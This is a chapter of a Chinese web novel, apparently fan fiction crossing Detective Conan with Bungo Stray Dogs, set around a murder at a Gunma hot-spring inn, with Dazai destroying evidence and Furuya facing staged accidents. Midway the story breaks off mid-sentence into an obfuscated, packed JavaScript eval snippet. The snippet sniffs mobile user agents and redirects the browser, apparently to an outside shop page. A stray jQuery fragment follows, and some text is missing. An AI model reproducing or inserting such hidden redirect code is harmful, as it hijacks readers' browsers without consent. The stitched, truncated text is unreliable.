19.第 19 章
作品:《给柯学片场一点剧本组的震撼》 被太宰治记挂着的降谷零此时正卷进了另一桩麻烦事中。
降谷零和太宰治并不是一起来的,在温泉旅馆碰面接头后,二人就分开了。
这次任务是由琴酒发布的,但他们到群马县后,降谷零就感觉总有人盯着他们,这次他与太宰治分开也是为了寻找那道视线的来处。
他不知道太宰治是否察觉到了那道视线,但太宰治没有多说,只叮嘱了一句:“最好在半小时之内回来,不然就很难看到热闹了。”
降谷零摸不清太宰治的目的,答应了下来。
降谷零追查过程中发现在背后观察他们的人行事异常谨慎,几乎找不到漏洞,每每等降谷零快要找到人的时候消失。
这已经是降谷零找到的第三次地点了,他到的时候已经人去楼空。
不过……降谷零看着面前的痕迹,难得地拧了拧眉。
这个习惯有点眼熟啊,好像莱伊那家伙。
嗡嗡——
降谷零收到了一条短讯,是来自太宰治的。
【我好像在旅馆看见莱伊了。】
降谷零当机立断选择回程。
这里离旅馆并不远,不堵车的话最多只需要五分钟就可以到了。
然后……
红灯红灯红灯,放眼望去一条路上全是红灯。
降谷零皱了皱眉,空出一只手给太宰治打了个电话:“嘟嘟。”
没接通。
降谷零看了看堵成长龙的车队,调转方向,离开主车道,从辅车道走了。
在经过一处居民区时,楼上花盆掉了下来,要不是降谷零眼疾手快,转方向盘转得快,差点砸中降谷零的爱车。
不说人怎么样,车绝对暂时走不动了。
花盆主人探出头来,连连道歉:“你没事吧?我马上下来,造成的损失我一定赔。”
说着就噔噔噔地下了楼来商量赔偿,但降谷零看了眼时间,拒绝了想要赔偿的女人。
降谷零回到车上,脸上表情已经彻底冷了下来。
一个巧合可以是巧合,无数个巧合堆积在一起就必然是有人在幕后操控。
降谷零接下来的路谨慎了许多,接下来一段时间平静了很久,直到降谷零开上主路,一辆小轿车不受控制地冲降谷零冲了过来。
完全占据了降谷零的视线。
另一边,温泉旅馆。
五分钟的时间不长也不短,换算到侦探破案上,不过是寻常耗费时间的N分之一。
但是今天不一样。
太宰治踢开沾血的绳索,手指在叶丛中狠揉了一把,让叶丛看不出之前的痕迹,火苗轻轻落到血衣上。
还没有五分钟,线索全出来了。
太宰治幽幽地叹了口气,拿出手机发了条短讯出去。
【我爱绷带】:【我只是想试试能不能蝴蝶掉波本篇而已,我有什么错jpg】
【我爱绷带】:【放电视能拍两集柯南的案子五分钟就完了。】
【我爱绷带】:【唉,唉,唉!】
【乱步大人天下第一萌】:【那你现在在干嘛?】
【我爱绷带】:【销毁证据,嘻嘻。】
太宰治到处乱转,趁机销毁线索,一时之间,警方竟然没有找到丝毫线索,调查停滞了许久。
时间一分一秒地过去,剧情似乎终于忍无可忍。
咔嚓。
太宰治头顶上的房梁断裂,沉重的梁木直直坠下,带着摄人的危险。
太宰治堪堪躲过,脸上被溅起的木屑划出一道血痕,他皱了皱眉。
一个男人趁机指着太宰治大喊:“我刚刚看见他正在销毁证据,他就是凶手!”
男人是这个案件的另一位嫌疑人。
太宰治再次成为众矢之的。
被所有人视线集中的太宰治没有半分慌张,脸上依旧闲适。
“又是我吗?我可以再重复一遍证词哦,”太宰治摸着下巴思索着,嘴角弯起狡黠的弧度,“我是抽中免费温泉劵所以过来旅游的,下午到酒店时正好撞见死者和朋友一起出来,也就是正在指认我的先生。当时死者喝醉了,可能是被酒精蒙蔽了本就比核桃还小的大脑,冲我跑过来还准备动手,没打到我最后愤愤离去。”
“当时还有很多人都在现场,之后我就出去了,没有作案时间哦。而且这些都是有证人的。”
川崎航看了太宰治一眼:“可是你看起来一点也不意外他的死亡。”
太宰治没有停顿,他点了点头:“是的哦,我早就知道他会死了。”
在场众人的目光瞬间集中在眼前的黑发少年身上,这几乎是自爆自己和这次的凶案有关了。
“这么说,你是承认你就是杀死他的凶手。”毛利小五郎的斗志被瞬间点燃,直接跳起来指着太宰治满脸得意,“我就说我的推理是不会出错的,你现在就露出马脚来了吧?”
“太宰哥哥,你不要乱说话啊!”工藤新一发出尖锐爆鸣。
他在和太宰治见过的这几次面让工藤新一摸到了一点太宰治的恶趣味——比如这个时候。
“好,现在我们可以直接逮捕你了!”山村操撸了撸袖子,又要将太宰治拷起来。
现场围观的群众不自觉为太宰治让出一个大圈,留足空间,生怕面前瘦弱的少年突然暴起。
但作为吸引所有人目光的少年则面带微笑:“可是人不是我杀的哦,相比没有哪条法律规定见死不救要被送进监狱吧?”
山村操撸起的袖子还没放下,脸上怒火还在熊熊燃烧,他被川崎航拉住了。
川崎航冷冷地盯着他:“你还知道什么?”
太宰治嘴角扬起堪称恶劣的笑容,像是恶作剧的少年:“我可是嫌疑人哎,你们怎么可以让嫌疑人来推理。”
“完全没有可信度的哎。”
毛利小五郎嘴角抽了抽。
只有和太宰治熟识的工藤新一觉得有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224738|196388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪里不对劲。
工藤新一将太宰治拖到后面:“太宰哥哥,你是不是已经知道凶手是谁了?”
太宰治没说是或不是,只是将手指竖在唇前:“这是一个秘密,秘密是需要侦探去解开的。”
工藤新一被这一眼看得愣怔了一瞬,苦苦地走开了,随后老老实实跑到案发现场继续冥思苦想。
直到现在他们依旧没有找到什么有用的线索,现场众人都有些焦躁。
因为之前的话,太宰治被当成危险品对待,被一名专心
“哇,我们聊一下川崎警官吧?”
“山村警官,你对川崎警官了解吗?”太宰治漫不经心地问。
山村操这时候的警惕心倒是分外高,狠狠瞪了他一眼,没说话。
“让我猜猜,这位川崎警官应该已经留在这里很多年了,”太宰治视线扫过旅馆内的院子,“唔……这么老也还在坚守岗位吗?真是敬业呢。”
“不过川崎警官这样一直出外勤真的不会遇到什么意外吗?”太宰治故作担忧。
山村操忍了又忍还是没忍住:“不许说这么诅咒川崎前辈的话,川崎前辈的身体现在都还很硬朗,就算遇到穷凶极恶的歹徒也能轻易制服。”
太宰治讶然:“这么厉害,真是没想到。川崎警官看起来已经快五十岁了吧?”
山村操脸上浮现出骄傲的神色:“川崎警官现在已经五十多岁了,现在和我们对打依旧很轻松。”
太宰治轻轻应下:“是吗?还真是厉害啊。”
“这么厉害,川崎警官应该很早就要升到东京去了吧?怎么还在群马?”
说到这个,山村操更骄傲了:“当然是因为川崎前辈放心不下我们,不然依照川崎前辈的资历别说升到东京总部,坐到警察厅高层也说不定呢。”
“居然是这样吗?”太宰治做出惊叹的表情,鸢眸中却没什么情绪。
“我们群马县的警员几乎都是川崎前辈带出来的呢,川崎前辈这些年的所作所为大家都有目共睹,我们都非常感激川崎前辈。”山村操碎碎念着。
太宰治一边应付这山村操,一边扫过在庭院各处,最终停在不远处的女人身上。
这是这家旅店的老板,她此时的脸色分外难看,似乎是被尸体吓到了,扶着门摇摇欲坠的,脸上是肉眼可见的慌乱。
长长的阴影笼罩在她身上,黑发少年站在她面前。
“这位小姐,还请不要皱眉,万事万物都会有转机的。”太宰治弯了弯眸子,鸢色在光下淌出一份蜜来,却平白让人泛出几分冷来,“说不定再坚持一下就会有不同的结果呢?”
与此同时。
“后院发现了一具新的骸骨!”警员高声喊道。
听到这个消息后,少有人注意到这家店的老板脸色虽然苍白,但眸底却忽地冷静了下来。
老板深吸一口气,微微笑:“多谢您。”
“不用谢。”太宰治弯唇笑道。

